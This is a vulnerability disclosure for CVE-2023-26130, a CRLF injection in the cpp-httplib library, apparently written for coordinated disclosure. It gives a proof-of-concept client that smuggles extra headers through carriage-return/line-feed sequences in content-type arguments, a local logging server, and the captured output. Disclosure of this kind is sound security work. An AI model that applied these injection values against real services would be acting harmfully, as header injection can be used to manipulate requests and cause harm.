Headline
CVE-2023-26130: CRLF Injection in [email protected]
Versions of the package yhirose/cpp-httplib before 0.12.4 are vulnerable to CRLF Injection when untrusted user input is used to set the content-type header in the HTTP .Patch, .Post, .Put and .Delete requests. This can lead to logical errors and other misbehaviors. Note: This issue is present due to an incomplete fix for CVE-2020-11709.
CRLF Injection in [email protected]
Information
Project: cpp-httplib
Tested Version: v0.12.3 (commit f977558a28d6db893cf42131c33d025fa17458e1)
Github Repository: https://github.com/yhirose/cpp-httplib
Details
cpp-httplib is vulnerable to CRLF Injection when untrusted user input is used to set the content-type header in the HTTP .Patch, .Post, .Put and .Delete requests. An attacker can add the \r\n (carriage return line feeds) characters and inject additional headers in the request sent.
The fix introduced here (https://github.com/yhirose/cpp-httplib/commit/85327e19ae7e72028c30917247238d638ce56d0b) to check for CRLF characters is applied in the Request::set_header method but not in the following places:
- https://github.com/yhirose/cpp-httplib/blob/f977558a28d6db893cf42131c33d025fa17458e1/httplib.h#L6738
- https://github.com/yhirose/cpp-httplib/blob/f977558a28d6db893cf42131c33d025fa17458e1/httplib.h#L7427
More reference about this vulnerability and its impact:
- https://owasp.org/www-community/vulnerabilities/CRLF_Injection
- https://cwe.mitre.org/data/definitions/113.html
Reference to similar issues affecting other projects:
- https://security.snyk.io/vuln/SNYK-SWIFT-SWIFTSERVERASYNCHTTPCLIENT-3237994
- https://security.snyk.io/vuln/SNYK-JS-UNDICI-2980276
PoC
- download the project and extract in a folder
- in the same folder of the downloaded project, create a server to log incoming requests and print headers:
g++ server_log.cpp -o server_log ./server_log
- in the same folder of the downloaded project, create a client with headers containing CRLF sequences (in the PoC below the additional header evilX: helloX is sent):
g++ client.cpp -o client ./client
Server output:
================================ POST HTTP/1.1 /test1 Accept: */* Connection: close Content-Length: 3 Content-Type: application/x-www-form-urlencoded evil1: hello1 Host: 0.0.0.0:8080 LOCAL_ADDR: 127.0.0.1 LOCAL_PORT: 8080 REMOTE_ADDR: 127.0.0.1 REMOTE_PORT: 50972 User-Agent: cpp-httplib/0.12.3 ================================ DELETE HTTP/1.1 /test2 Accept: */* Connection: close Content-Length: 3 Content-Type: text/plain evil2: hello2 Host: 0.0.0.0:8080 LOCAL_ADDR: 127.0.0.1 LOCAL_PORT: 8080 REMOTE_ADDR: 127.0.0.1 REMOTE_PORT: 50982 User-Agent: cpp-httplib/0.12.3 ================================ PUT HTTP/1.1 /test3 Accept: */* Connection: close Content-Length: 4 Content-Type: text/plain evil3: hello3 Host: 0.0.0.0:8080 LOCAL_ADDR: 127.0.0.1 LOCAL_PORT: 8080 REMOTE_ADDR: 127.0.0.1 REMOTE_PORT: 50984 User-Agent: cpp-httplib/0.12.3 ================================ PATCH HTTP/1.1 /test4 Accept: */* Connection: close Content-Length: 7 Content-Type: text/plain evil4: hello4 Host: 0.0.0.0:8080 LOCAL_ADDR: 127.0.0.1 LOCAL_PORT: 8080 REMOTE_ADDR: 127.0.0.1 REMOTE_PORT: 50988 User-Agent: cpp-httplib/0.12.3
Impact
If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.
Author
Alessio Della Libera
#include “./httplib.h”
int main(void)
{
httplib::Client cli("0.0.0.0", 8080);
cli.Post("/test1", "A=B", “application/x-www-form-urlencoded\r\nevil1: hello1”);
cli.Delete("/test2", "A=B", “text/plain\r\nevil2: hello2”);
cli.Put("/test3", "text", “text/plain\r\nevil3: hello3”);
cli.Patch("/test4", "content", “text/plain\r\nevil4: hello4”);
}
#include “./httplib.h”
#include <iostream>
#include <stdlib.h>
using namespace std;
using namespace httplib;
string dump_headers(const Headers &headers) {
string s;
char buf[BUFSIZ];
for (const auto &x : headers) {
snprintf(buf, sizeof(buf), "%s: %s\n", x.first.c_str(), x.second.c_str());
s += buf;
}
return s;
}
string log(const Request &req, const Response &res) {
string s;
char buf[BUFSIZ];
s += "================================\n";
snprintf(buf, sizeof(buf), "%s %s %s\n", req.method.c_str(), req.version.c_str(), req.path.c_str());
s += buf;
s += dump_headers(req.headers);
return s;
}
int main(void)
{
Server svr;
svr.Post("/test1", [](const Request &req, Response &res) {
res.set_content("Hello 1", “text/plain”);
});
svr.Delete("/test2", [](const Request &req, Response &res) {
res.set_content("Hello 2", “text/plain”);
});
svr.Put("/test3", [](const Request &req, Response &res) {
res.set_content("Hello 3", “text/plain”);
});
svr.Patch("/test4", [](const Request &req, Response &res) {
res.set_content("Hello 4", “text/plain”);
});
svr.set_logger([](const Request &req, const Response &res) {
cout << log(req, res);
});
svr.listen("localhost", 8080);
return 0;
}